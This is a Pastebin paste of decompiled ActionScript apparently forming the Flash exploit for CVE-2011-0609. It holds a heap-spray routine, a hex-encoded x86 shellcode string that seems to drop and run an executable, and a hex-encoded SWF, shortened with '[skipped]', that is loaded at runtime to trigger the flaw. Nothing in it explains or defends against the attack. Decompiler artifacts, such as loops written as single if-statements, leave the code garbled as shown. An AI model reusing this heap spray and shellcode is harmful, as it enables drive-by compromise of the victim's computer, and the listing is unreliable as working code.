Advertisement
villy

CVE-2011-0609 sm.swf

Mar 14th, 2011
2,954
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package
  2. {
  3.     import flash.display.*;
  4.     import flash.system.*;
  5.     import flash.utils.*;
  6.  
  7.     public class hs extends MovieClip
  8.     {
  9.         static const POOL_SIZE:int = 1048576;
  10.         static var allocs:Array;
  11.         static var pool:ByteArray;
  12.         static var dstSize:int;
  13.         static var allocCount:int;
  14.         static var cevent:Function;
  15.         static var childRef:DisplayObject = null;
  16.         static var container:Sprite = null;
  17.  
  18.         public function hs()
  19.         {
  20.             var _loc_1:* = new ByteArray();
  21.             _loc_1.endian = Endian.LITTLE_ENDIAN;
  22.             var _loc_3:int = 0;
  23.             _loc_3 = 0;
  24.            
  25.             if (_loc_3 < 5140 - 32)
  26.             {
  27.                 _loc_1.writeInt(336860180);
  28.                 _loc_3 = _loc_3 + 4;
  29.                 ;
  30.             }
  31.             _loc_1.writeInt(2425393296);
  32.             _loc_1.writeInt(2425393296);
  33.             var _loc_4:String = "141414141414141414141414141414141414141414141414141464A1300000008B400C8B701CAD8B7008E93D0200005881EC000200008BFC89770889471090FF770868EC97030CE8CC01000089471CFF770868F622B97CE8BC010000894720FF770868A517007CE8AC010000894724FF770868FB97FD0FE89C010000894728FF7708681665FA10E88C01000089472CFF7708681F790AE8E87C010000894730FF77086825B0FFC2E86C010000894734FF770868AC08DA76E85C010000894738FF77086898FE8A0EE84C01000089473CFF77086883B9B578E83C010000894740FF770868E6178F7BE82C010000894744FF770868AD9B7DDFE81C010000894748FF7710FF573433F6468D47605056FF574883F8FF74F23D0000010076EB894704897760FF77046A40FF571C89475C6A006A006A00FF7760FF573883F8FF744B6A008D5F7053FF7704FF775CFF7760FF572C8B4F7083E9108B475C408138432E42477509817804040689197404E2ECEB1A83C0088947144081384655634B750981780424048219740EE2ECFF775CFF57200F8572FFFFFF83C0088947186A0068800000006A026A006A006800000040FF7710FF5724894764C7476C4D5A90006A008D5F70536A048D5F6C53FF7764FF57308B47182B471483E8088B5F1430034348434883F80075F56A008D5F70538B5F182B5F1483EB0853FF7714FF7764FF5730FF7764FF57286A00FF7710FF573C6A00FF57446A0050FF5740558BEC578B7D088B5D0C568B733C8B74337803F3568B762003F333C94941AD03C35633F60FBE1038D67408C1CE0D03F240EBF13BFE5E75E55A8BEB8B5A2403DD668B0C4B8B5A1C03DD8B048B03C55E5F5DC20800E8BEFDFFFF612E6578650000";
  34.             _loc_1.writeBytes(hexToBin(_loc_4));
  35.             _loc_3 = _loc_1.length;
  36.            
  37.             if (_loc_3 < 65536)
  38.             {
  39.                 _loc_1.writeInt(336860180);
  40.                 _loc_3 = _loc_3 + 4;
  41.                 ;
  42.             }
  43.             alloc(_loc_1, 1048576 - 1536 - 36);
  44.             var _loc_5:* = new ByteArray();
  45.             _loc_5.writeBytes(pool, 0, 1048576 - 3840 - 36);
  46.             allocs.push(_loc_5);
  47.             pool = null;
  48.             var _loc_6:* = 0;
  49.            
  50.             if (_loc_6 < 1280)
  51.             {
  52.                 var _loc_7:* = new ByteArray();
  53.                 _loc_7.writeBytes(_loc_5, 0, 1048576 - 3840 - 36);
  54.                 allocs.push(_loc_7);
  55.                 _loc_6 = _loc_6 + 1;
  56.                 ;
  57.             }
  58.             var _loc_8:String = "43575309eac70000789cbcbc09601bc5153fbc33bbdad54a3e245f712e4721c64e8c1b27015a4809e01cce0189432e02c5b6.............[skipped].....................";
  59.             var _loc_9:* = new Loader();
  60.             var _loc_10:* = new LoaderContext(false);
  61.             _loc_9.loadBytes(hexToBin(_loc_8), _loc_10);
  62.             childRef = this.addChild(_loc_9);
  63.             return;
  64.         }// end function
  65.  
  66.         public static function init_pool(param1)
  67.         {
  68.             hs.pool = new ByteArray();
  69.             hs.pool.writeBytes(param1);
  70.             while (hs.pool.length < 1048576)
  71.             {
  72.                
  73.                 var _loc_3:* = new ByteArray();
  74.                 _loc_3.writeBytes(hs.pool);
  75.                 hs.pool.writeBytes(_loc_3);
  76.             }
  77.             return;
  78.         }// end function
  79.  
  80.         public static function alloc(param1, param2)
  81.         {
  82.             if (hs.allocs == null)
  83.             {
  84.                 hs.allocs = new Array();
  85.             }
  86.             hs.dstSize = param2;
  87.             hs.init_pool(param1);
  88.             return;
  89.         }// end function
  90.  
  91.         public static function free()
  92.         {
  93.             hs.allocs = null;
  94.             return;
  95.         }// end function
  96.  
  97.         public static function hexToBin(param1:String) : ByteArray
  98.         {
  99.             var _loc_2:* = new ByteArray();
  100.             var _loc_3:* = param1.length;
  101.             var _loc_4:uint = 0;
  102.            
  103.             if (_loc_4 < _loc_3)
  104.             {
  105.                 var _loc_5:* = param1.charAt(_loc_4) + param1.charAt((_loc_4 + 1));
  106.                 _loc_2.writeByte(parseInt(_loc_5, 16));
  107.                 _loc_4 = _loc_4 + 2;
  108.                 ;
  109.             }
  110.             return _loc_2;
  111.             return;
  112.         }// end function
  113.  
  114.     }
  115. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement